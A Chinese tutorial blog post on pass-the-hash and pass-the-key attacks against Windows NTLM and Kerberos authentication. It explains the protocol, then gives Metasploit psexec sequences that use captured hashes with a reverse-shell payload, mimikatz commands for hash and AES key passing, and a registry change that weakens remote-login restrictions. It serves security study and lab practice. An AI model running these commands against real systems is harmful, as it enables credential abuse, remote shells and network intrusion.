• 哈希传递攻击原理及利用


    0x01、Pass-the -hash概述

    NTLM Hash验证过程

    1.用户输入username、password、domainname(交互式才需要这个步骤),客户端会计算hash值保存在本地;
    2.客户端将username明文发给DC;
    3.DC生成一个16Byte的随机数(challenge)发送给客户端;
    4.客户端通过运算生成一个响应值response=f(hashes,challenge,other)=>other根据版本变化,例如时间戳来防止回访等;
    5.客户端将响应值发送给DC;
    6.DC经过同样的运算result = f(hashes,challenge,other),然后比较result和response,一直就验证通过,不一致则验证不通过;
    7.备注:目标不一定是DC,hash对应的账号所登录的(有缓存的)工作站也可以。
    

    我们可以看看工作组中和域环境中的NTLM认证过程

    第三步的对比,发现工作组和域环境的认证方式都是一样的

    客户端收到服务端返回的 TYPE 2 消息, 读取出服务端所支持的内容,并取出其中的随机值Challenge,用缓存的服务端的密码的NTLM-Hash对其进行加密,并与用户名、Challenge等一起组合得到 Net-NTLMHash,最后将Net NTLM-Hash封装到 NTLM_AUTH 消息中(被称为 TYPE 3 消息, Authenticate认证消息),发往服务端
    

    唯一的不同,就是域环境下多了4和5两个步骤

    第四个步骤:

    服务器接收到客户端发送来的 NTLM_AUTH 的 TYPE 3 消息后,取出其中的Net NTLM-Hash值,并向DC域控(Domain Control)发送针对客户端的验证请求。该请求主要包含以下三方面的内容:客户端用户名、原始的Challenge 和 加密后的Challenge(也就是Net NTLM-Hash)。
    

    第五个步骤:

    DC根据用户名获取该帐号的密码哈希值 NTLM-Hash,用密码哈希值 NTLM-Hash 对原始的Challenge进行加密得到Net NTLM-Hash。如果加密后的Challenge和服务器发送的一致,则意味着用户拥有正确的密码,验证通过,否则验证失败。DC将验证结果发给服务器。
    

    但是在工作组的环境下也是这样,目标不一定是DC,hash对应的账号所登录的(有缓存的)工作站也可以。

    所以,域环境和工作组环境下都可以使用NTLM hash传递攻击

    从而我们可以通过第一步,进行伪造;为什么呢?

    相信大家大部分都是web狗,我就以登陆网址为例子

    哈希传递攻击是基于NTLM认证的一种攻击方式。哈希传递攻击的利用前提是我们获得了某个用户的密码哈希值,但是解不开明文。这时我们可以利用NTLM认证的一种缺陷,利用用户的密码哈希值来进行NTLM认证。在域环境中,大量计算机在安装时会使用相同的本地管理员账号和密码。因此,如果计算机的本地管理员账号密码相同,攻击者就能使用哈希传递攻击登录内网中的其他机器。

    0x02、hash传递攻击实操

    在工作组环境中:

    • Windows 2003和之前的机器,可以使用本地管理员组内用户进行攻击。
    • Windows 2003 之后的机器,只能是administrator用户的哈希值才能进行哈希传递攻击,其他用户(包括管理员用户但是非administrator)也不能使用哈希传递攻击,会提示拒绝访问。

    在域环境中:

    • 只能是域管理员组内用户(可以是域管理员组内非administrator用户)的哈希值才能进行哈希传递攻击,攻击成功后,可以访问域内任何一台机器。

    1、msf进行hash传递攻击

    有些时候,当我们获取到了某台主机的 administrator 用户的密码哈希值 ,并且该主机的445端口打开着。我们则可以利用 exploit/windows/smb/psexec 模块用MSF进行远程登录(哈希传递攻击)。这个是rhost可以是一个主机,也可以设置一个网段。

    这里目标主机的Windows Vista之后的机器,所以只能使用administrator用户进行攻击。

    (一)、工作组环境

    msf > use  exploit/windows/smb/psexec
    msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp
    msf exploit(psexec) > set lhost 192.168.10.27
    msf exploit(psexec) > set rhost 192.168.10.14
    msf exploit(psexec) > set smbuser Administrator
    msf exploit(psexec) > set smbpass 815A3D91F923441FAAD3B435B51404EE:A86D277D2BCD8C8184B01AC21B6985F6   #这里LM和NTLM我们已经获取到了
    msf exploit(psexec) > exploit 
    

    (二)、域环境

    当我们获取到了域管理员组内用户的密码哈希值 ,并且该主机的445端口打开着。我们则可以利用 exploit/windows/smb/psexec 模块用MSF进行哈希传递攻击。

    msf > use  exploit/windows/smb/psexec
    msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp
    msf exploit(psexec) > set lhost 192.168.10.11
    msf exploit(psexec) > set rhost 192.168.10.131
    msf exploit(psexec) > set smbuser test   #test用户在域管理员组内,注意这里不需要写域前缀
    msf exploit(psexec) > set smbpass AADA8EDA23213C020B0C478392B5469F:51B7F7DCA9302C839E48D039EE37F0D1
    msf exploit(psexec) > exploit 
    

    2、mimikatz进行hash传递

    privilege::debug    #先提权
    #使用administrator用户的NTLM哈希值进行攻击
    sekurlsa::pth /user:用户名  /domain:目标机器IP  /ntlm:密码哈希
    

    (一)、工作组

    (二)、域环境

    这时候使用下面这条命令查看是否有权限

    dir \dc.sun.comc$
    #也可以ip查看
    dir \192.168.1.5c$
    

    0x03、Pass The Key

    当机器打了KB2871997补丁之后,我们发现使用域管理员组内无法进行hash传递攻击,但是administrator账号(sid为500)例外;不管administrator账号怎么修改,或者新增的管理员账号,sid为500,即可进行hash传递攻击

    要求前提

    • 域环境下
    • 安装了KB2871997补丁
    privilege::debug #提升权限
    sekurlsa::ekeys  #抓取aes秘钥
    #aes-256传递
    sekurlsa::pth /user:用户名 /domain:域名 /aes256:
    #aes-128传递
    sekurlsa::pth /user:用户名 /domain:域名 /aes128:
    
    #使用AES-256进行Key传递攻击
    sekurlsa::pth /user:administrator /domain:xie.com /aes256:1a39fa07e4c96606b371fe12334848efc60d8b3c4253ce6e0cb1a454c7d42083
    #使用AES-128进行Key传递攻击
    sekurlsa::pth /user:administrator /domain:xie.com /aes128:4728551c859bbe351e9c11b5d959163e
    

    0x04、KB2871997补丁怎么回事?

    其实 KB2871997 的补丁并没有多大的用处,由于在 Windows Vista 时代,微软就通过将LocalAccountTokenFilterPolicy 值默认设置为 0 来禁止非administrator账号的远程连接(包括哈希传递攻击),但是administrator用户不受影响。即使目标主机更新了KB2871997的补丁,仍然可以使用PID=500的用户进行哈希传递攻击,而 PID=500 的用户默认为 aministrator,所以仍然可以使用administrator用户进行哈希传递攻击。并且在打了KB2871997 补丁的机器上,通过将LocalAccountTokenFilterPolicy设置为1,也还是可以使用普通管理员账号进行哈希传递攻击

    实验

    • Windows Server 2008R2:192.168.10.20
    • 域管理员:administrator 、 xie

    未打 KB2871997 补丁前,使用 administrator 账号可以成功进行哈希传递攻击,使用管理员账号 xie 无法进行哈希传递攻击。

    打上 KB2871997 补丁后,使用 administrator 账号依然可以成功进行哈希传递攻击,使用管理员账号 xie 无法进行哈希传递攻击。

    将 administrator 账号重命名为 admin 账号后,由于不存在 administrator 账号了,所以无法使用administrator 账号进行哈希传递攻击,但是可以使用 admin 账号紧进行哈希传递攻击,因为 admin 账号的SID值为 500。

    修改目标机器的 LocalAccountTokenFilterPolicy 为1后,使用普通域管理员账号 xie 也可进行哈希传递攻击。

    修改 LocalAccountTokenFilterPolicy 为1

    reg add HKLMSOFTWAREMicrosoftWindowsCurrentVersionPoliciessystem /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
    

    恢复 LocalAccountTokenFilterPolicy 为0 (删除后需要重启 explorer.exe 才能使修改生效)

    reg delete HKLMSOFTWAREMicrosoftWindowsCurrentVersionPoliciessystem /v LocalAccountTokenFilterPolicy /f
    

  • 相关阅读:
    activemq的两种基本通信方式的使用及总结
    EJBCA认证系统结构及相关介绍
    白话经典算法系列之一 冒泡排序的三种实现 【转】
    springcloud配置需要主要的地方
    Spring的RestTemplate
    mysql中的事务
    list去重
    webpack的使用
    rocketmq在linux搭建双master遇到的坑
    redis配置文件详解
  • 原文地址:https://www.cnblogs.com/0x7e/p/14384523.html
Copyright © 2020-2023  润新知